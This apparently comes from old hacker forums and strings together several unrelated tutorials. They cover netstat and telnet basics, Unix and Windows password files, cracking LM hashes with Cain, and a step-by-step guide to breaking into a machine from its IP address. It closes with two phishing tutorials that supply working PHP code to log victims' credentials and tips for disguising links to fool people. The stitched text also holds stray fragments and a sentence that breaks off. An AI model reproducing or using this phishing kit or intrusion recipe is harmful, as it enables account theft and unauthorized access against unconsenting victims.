Getting Ip's:--
To see the ip all computers
you are connected to (web servers, people attempting to hack into your computer).
Go to dos (start>run>type command) and run the netstat command. Type netstat /? for details.
Type netstat -r at the command prompt to see the ip of all computers you are connected to
In MSN (and other programs) when you are chatting to someone everything you type goes through the MSN servers first (they act as a proxy) so you see their ip rather than who you are chatting to. You can get round this by sending them a file as MSN doesn't send file through its proxy.
When you type the netstat -r (or -a for a different view) the ip's are under the foreign address table. The ports are separated by a : . Different programs use different ports, so you can work out which ip's are from which program.
Connecting to other computers and what ports are:--
Servers send information. Clients retrieve. Simple.
Windows comes with a built in program to connect to other computers called telnet.
To start Windows telnet Start menu> Run> type Telnet. Click connect> remote system
Ports are doors into computers. Hosts are computer names
(ip number or a name that is translated into the ip automatically)
Different programs open different ports, but they always open the same ports so other computers know which port to connect to. You can get a port list listing all the different ports, but a basic one is:
11 :- Sends info on the computer
21 :- FTP (File transfer program)
23 :- Telnet (Login to the computers command line)
25 :- Smtp (Sends mail)
80 :- Http (Web pages)
There are thousands of different programs using different ports. You can get programs called port scanners which check a computer for all ports up to a certain number, looking for ways in. You can port scan a computer looking for ways-in.
Anyway, back to telnet.
Type http://www.yahoo.com as the host and port as 80 the click connect.
If nothing happens, you're in. Wow. You are connected to Yahoo's server.
You can now type http commands (you are connected to an http server, so it supports http commands). Ie. on an ftp server you can type open and it will do something. On an http server it will just wonder what the hell you are on about.
Type get / http/1.0 then press enter twice to get the file on the server at / (try /index.html) etc.)
Allowing dos and regedit in a restricted Windows
See http://blacksun.box.sk/tutorials/format....ndows.html for some very cool tactics.
A very simple tactic I found after accidentally locking myself out of dos and regedit is to open notepad and type the following:
REGEDIT4
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp]
"Disabled"=dword:0
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
"DisableRegistryTools"=dword:0
Save it as something.reg then run it. Simple.
Making non deletable, unreadable folders
Tested on Windows 95/98
By holding down alt, then typing numbers on the number pad (right of the keyboard) you can create special characters. If you hold down alt, then press 1, then let go, you got the ascii character 1. You try some random numbers. This goes all the way up to 255. Open a dos prompt, and type md (alt+1+9+4)some word. md is the dos command to make a directory, now try and open the directory in Windows, you can't. To open it, type ren (alt+1+9+4)some word some word (ren is the dos command to rename)
Proxies
Proxies are computers that you connect through, hiding your computer. Most aren't anonymous, they give away your ip. Some are. Good anonymous proxies: mail.uraltelecom.ru:8080 and 194.247.87.4:8080.
Different programs require different ways of using proxies. To do it in internet explorer 5 go to tools, internet options, connections, settings. In the above proxies they are in the format host:port
Password files
If you lock yourself out of Windows stuff, all passwords are stored in files called *.pwl in C:windows. In Unix, passwords are normally stored at etc/passwd. This can be viewed using the cat command (prints a file to screen): cat etc/passwd. Make sure you're passwords are shadowed (not actually in etc/passwd). Also make sure they aren't in a file called shadow, especially not in a file called etc/shadow.
Unix passwords are encrypted far better than Windows one's (to be fair, Windows 95 isn't designed for users), but can still be cracked through a program called jon.
Securing your website
Ftp Ftp is how you upload your web site, if someone finds out the password they can add/ delete anything. Brute forcing is the most common ftp attack, where a program guesses every possible combination (or from a list of words). An eight letter alpha-numeric word is almost impossible to crack, as the process is slow.
The real problem is with server side scripting. Pages other than plain html (ie. pages that perform commands on the host) are a security risk. The main problems are scripts that write to pages (guest books etc.). If when the guest book is viewed it has a .shtml extension, then it can execute commands. Eg. a malicious visitor could place
Everything happens for a reason, If you didn't make the decisions you made then. You wouldn't be who you are today.
BRUTE FORCING WITH CAIN
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| In this tutorial we will examine the process for discovering the clear text password from an encrypted LM hash that has been extracted from a workstation running Windows. A key concept to remember in learning the process for decryption is to keep the vairables as simple as possible. To facilitate this, two text files have been prepared that will add and subsequently remove a series of 21 users to your local workstation. These files are freely available for download from the links below. The files are in HTML format and can be copied to and edited in notepad. In order to use the scripts, you will need to save the files as a “.bat” file format. Batch files can be run like executables by just double clicking on them. To convert the files to batch files, follow the following steps.
You can navigate to the users and computers manager in the control panel to confirm that the accounts have been created. You can also just type the command “Net User” at a run command prompt. After you have finished the tutorials, the removeusers.txt file can To perform this tutorial, you will need to download and install the most current version of Cain and Able from www.oxid.it. Make sure that you install the main application as well as the WinPcap install as directed during the install. You will likely have to reboot after the install. If you experience any difficulty, refer to the Cain user manual located here: Here are the steps to complete a brute force of NT password hashes. We will assume only the following:
Step 1. Extract the hashes from the target machine. If you are performing this step local to the install of Cain then follow these steps: 1. Launch Cain. It should look something like this: (Note: You will see more hashes than just the 21 that are installed by the script. For demonstration purposes, we have removed all users accounts except those used for this demonstration.
Step 2: Now we will configure the brute forcer tool in Cain to attack the LM Hashes that we have extracted. 1. Right click on any of the hashes and click on “Select All.” 2. Right on any of the hashes and click and select Brute-Force Attack (LM) Charset: This will determine the values that will be used in the cracking process. the default for LM hashes is A-Z and 0-9. However, you can change the values to any sequence. For LM, only use uppercase values as those are all that are stored in LM hashes. Step 3: For this exercise lets configure the Password length to crack all passwords with lengths of 1 through 6 characters. Begin the attack by pressing Start! All of the hashes that have passwords that meet the bruiting parameters of this test will be displayed when the bruiting process is finished. If you followed this tutorial correctly, in about 25 minutes, you will have at least 14 out of 26 cracked hashes. But I thought that we only loaded 21 user accounts to be cracked.... how did we end up with 26 hashes. Plain text of 417EAF50CFAC29C3 is T If you will refer back to the AddUsers.txt file, you will see that we were able to crack all of the passwords that met the parameters we selected in a few simple steps.
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Tutorial: How to hack with a ip address
So say somehow somewhere we ended up choosing a target to start wreaking havoc upon. All we need is an IP Address. Theres plenty of papers out there that go into how to obtain an IP Address from the preferred mark of your choice. So I'm not going to go into that subject. Alright so say we got the targets IP Address finally. What do we do with this IP Address. Well first ping the IP Address to make sure that its alive. In otherwords online. Now at the bottom of this document ill include some links where you can obtain some key tools that may help on your journey through the electronic jungle. So we need to find places to get inside of the computer so we can start trying to find a way to "hack" the box. Port Scanners are used to identify the open ports on a machine thats running on a network, whether its a router, or a desktop computer, they will all have ports. Protocols use these ports to communicate with other services and resources on the network.
1) Blues Port Scanner - This program will scan the IP address that you chose and identify open ports that are on the target box.
Example 1:
Idlescan using Zombie
Interesting ports on 208.225.90.120:
(The 65522 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
25/tcp open smtp
80/tcp open http
111/tcp open sunrpc
135/tcp open loc-srv
443/tcp open https 1027/tcp open IIS
1030/tcp open iad1
2306/tcp open unknown
5631/tcp open pcanywheredata
7937/tcp open unknown
7938/tcp open unknown
36890/tcp open unknown
In example 1 now we see that there are a variety of ports open on this box. Take note of all the ports that you see listed before you. Most of them will be paired up with the type of protocol that uses that port (IE. 80-HTTP 25-SMTP Etc Etc...) Simply take all that information and paste it into notepad or the editor of your choice. This is the beginning of your targets record. So now we know what ports are open. These are all theoretical points of entry where we could wiggle into the computer system. But we all know its not that easy. Alright so we dont even know what type of software or what operating system that this system is running.
2) NMAP - Port Scanner - Has unique OS fingerprinting methods so when the program sees a certain series of ports open it uses its best judgement to guess what operating system its running. Generally correct with my experiences.
So we have to figure out what type of software this box is running if we are gonna start hacking the thing right? Many of you have used TELNET for your MUDS and MOOS and weird multiplayer text dungeons and many of you havent even heard of it before period. TELNET is used to open a remote connection to an IP Address through a Port. So what that means is we are accessing their computer from across the internet, all we need is their IP Address and a port number. With that record you are starting to compile, open a TELNET connection to the IP Address and enter one of the OPEN ports that you found on the target.
So say we typed 'TELNET -o xxx.xxx.xxx.xxx 25' This command will open up a connection through port 25 to the IP xxx.xxx.xxx.xxx. Now you may see some text at the very top of the screen. You may think, well what the hell, how is that little string of text going to help me. Well get that list you are starting to write, and copy the banners into your compilation of the information youve gathered on your target. Banners/Headers are what you get when you TELNET to the open ports. Heres an example of a banner from port 25.
220 jesus.gha.chartermi.net ESMTP Sendmail 8.12.8/8.12.8; Fri, 7 Oct 2005 01:22:29 -0400
Now this is a very important part in the enumeration process. You notice it says 'Sendmail 8.12.8/8.12.8' Well what do ya know, we now have discovered a version number. This is where we can start identifying the programs running on the machine. There are some instances in which companies will try and falsify their headers/banners so hackers are unable to find out what programs are truly installed. Now just copy all the banners from all the open ports *Some Ports May Have No Bannners* and organize them in the little record we have of the target. Now we have all the open ports, and a list of the programs running and their version numbers. This is some of the most sensitive information you can come across in the networking world. Other points of interest may be the DNS server, that contains lots of information and if you are able to manipulate it than you can pretend to hotmail, and steal a bunch of peoples email. Well now back to the task at handu. Apart from actual company secrets and secret configurations of the network hardware, you got some good juicy info. http://www.securityfocus.com is a very good resource for looking up software vulnerabilities. If you cant find any vulnerabilities there, search on google. There are many, many, many other sites that post vulnerabilities that their groups find and their affiliates.
At SecurityFocus you can search through vendor and whatnot to try and find your peice of software, or you can use the search box. When i searched SecurityFocus i found a paper on how Sendmail 8.12.8 had a buffer overflow. There was proof of concept code where they wrote the shellcode and everything, so if you ran the code with the right syntax, a command prompt would just spawn. You should notice a (#) on the line where your code is being typed. That pound symbol means that the command prompt window thats currently open was opened as root. The highest privilage on a UNIX/Linux Box. You have just successfully hacked a box. Now that you have a command shell in front of you, you can start doing whatever you want, delete everything if you want to be a fucking jerk, however I dont recommend that. Maybe leave a text file saying how you did it and that they should patch their system.....whoever they are. And many times the best thing you can do is just lay in the shadows, dont let anyone know what you did. More often than not this is the path you are going to want to take to avoid unwanted visits by the authorities.
There are many types of exploits out there, some are Denial of Service exploits, where you shut down a box, or render an application/process unusable. Called denial of service simply because you are denying a service on someones box to everyone trying to access it. Buffer Overflow exploits are involved when a variable inside some code doesnt have any input validation. Each letter you enter in for the string variable will be 1 byte long. Now where the variables are located at when they are in use by a program is called the buffer. Now what do you think overflowing the buffer means. We overflow the buffer so we can get to a totally different memory address. Then people write whats called shellcode in hex. This shellcode is what returns that command prompt when you run the exploit. That wasnt the best description of a buffer overflow, however all you need to remember is that garbage data fills up the data registers so then the buffer overflows and allows for remote execution of almost every command available. There are many, many other types of attacks that cannot all be described here, like man-in-the-middle attacks where you spoof who you are. Performed correctly, the victim will enter http://www.bank.com and his connection will be redirected to your site where you can make a username and password box, make the site look legit. And your poor mark will enter their credentials into your site, when they think its really http://www.bank.com. You need to have a small script set up so it will automatiically display like an error or something once they try and log in with their credentials. This makes it seem like the site is down and the victim doenst give it a second thought and will simply try again later.
__________________________________________________ _______o_________
So as a summary of how to 0Wn a box when you only have an IP Address
Method Works On BOTH *Nix and Windoze
****You can do the same with domain names (IE google.com) than what you can with IP Addresses. Run a WHOIS Lookup or something along those lines. Or check up on InterNIC you should be able to resolve the domain name to an IP address.****
- Port Scan The Address And Record Open Ports
- Telnet To Open Ports To Identify Software Running On Ports
3) netcat - Network swiss army knife. Like TELNET only better and with a lot more functionality. Both can be used when you are trying to fingerprint software on open ports
- Record Banners And Take Note Of The Application Running and The Version Number
- Take A Gander Online At SecurityFocus.com or Eeye.com. If you cant find any vulnerabilities then search google.
- Make a copy of some Proof-Of-Concept code for the vulnerability.
*Read the documentation if there is any, for the proof-of-concept code you will be using for your exploit*
- Run The Exploit Against The Victim.
- Reap The Cheap-Sh0t Ownage
__________________________________________________ _______________
**This document does not go into covering your tracks. If you dare try any of this stuff on a box you dont have consent to hack on, They will simply look at the logs and see your IP Address and then go straight to your ISP. Once you get more 1337 you get to learn how to get away with the nasty deeds. This is what the majority of kode-kiddies do when they perform attacks. The key is to enumerate all the info you can from the machine, the more info you have on the system the better. User accounts can also be enumerated. Once you have a list of account names, you may then proceed to brute-force or perform a cryptanalysis attack to gain control of the account. Then you must work on privilage escalation. Users are not Admins/Root**
Phishing Tutorials..... - 02-19-2009, 02:37 PM
All you need is a web hosting service with PHP enabled.
We will use t35. Go to Free Web Hosting with PHP, Domains, and FTP - T35 Hosting and sign up for a free account. In this tutorial we will make a phishing site for Myspace(the procedure is equivalent for most of the sites). While not signed in myspace, open anyone's profile and click on his picture. That will lead you to Myspace's login page that has the red box with"You Must Be Logged-In to do That!" just above your login form. Now, click File>Save Page As, and save the myspace page to your Desktop. Open your saved page with any text editor(notepad, wordpad etc.). Select all of the text(the source code), and copy it.
Get back to your t35 account and click on 'New File' and paste the Myspace's source code there. Name the file 'login.php'(without the ''), and save it.
Now you have made a page equal to Myspace. Everything on that page will have the same function as if it were on the original site. The link to your phish site will be 'www.xxx.t35.com/login.php' - where 'xxx' is the name of your account.
But there is a little problem. When someone enters his username and password and press login, it logs him into the real myspace.
What do we need to change?
What we need to change is the action of the 'login' button, so instead of logging them into the real site, it writes the username and password to a text file.
Open your 'login.php' file. Search in the code for keywords 'action='.
There will be several 'action=some link' in the myspace's source code(for the sign in button, search button, etc.). We need to find the 'action=some link' that refers to the Login button.
After some searching, we find the:
Code:
Member Login
Phishing Tutorial (Very clear and good for newbs)
The one Corw made on HF was very good, but some people had problems. This will be a basic tut on how to make a phisher! I will be using a variety of websites. Crow used myspace, but I will teach you how to make it with any!
Index:
What is a phisher? - 101
Making a T35 Account - 102
Getting Web pages Source Code - 103
Creating Phish File - 104
How to fool people - 105
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What is a phisher? 101
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A phisher is a fake login page used to gain access to someones account. When someone logs into the fake login page, there password is sent to you.
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Making a T35 Account 102
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In order to make a phisher, you need a web hosting site, I recommend T35. Sign up with a free acount and title it (websiteyourgonnaphish).spam.com For example: myspace.spam.com Most likeley, it is taken so add numbers like 08, or 07.
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Getting Web Pages Source Code 103
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After you create that page, go to the website you will make a phisher for, I will use KHI ( http://www.forums.khinsider.com ) Make sure you are logged out and and attempt to post a message. You will get an error saying you must log-in. From tehre right-click the page, and click View Source. Copy and paste what has popped-up.
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Creating Phish File 104
------------------------
Once you have that copied, go to your T35 account. Click on "New File" Title it login.htm Then paste your Source Code you copied from 104. Save it.
Now create another file, title it fhish.php And inside, paste this code:
Code:
header("Location: http://www.myspace.com");
$handle = fopen("thepasses.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
The http://www.myspace.com is what the page goes to after the victim logs in, change that to what desired
Save the file.
Go back to your login.htm file and click edit. Press CTRL+F and type in action= in the box. Keep pressing find until you find something that says action=(something that has to do with logging in). Replace that with fhish.php. Congratulations, you have a phisher!
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How to fool people - 105
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What you do now is disguise your link. Use this code:
Code:
T35acount.spam.com/login.htm
That is the link to your phishing page. When people login to that, you will get the password in a password.txt file that will be created when someone types something into it. But, you have to trick people. Use this code.
Code:
[url=xxx.spam.com]*real website name*.com/login.php[/url]
You do the same for any forum!
Thank you for reading! Hope it helps! If i was missing something, or you have any questions, PM me!
ALTERNATIVES:
Also, if you don't want to use spam.com, use ripway.com and after you uploaded everything, go to http://www.dot.tk and choose a free .tk domain name.
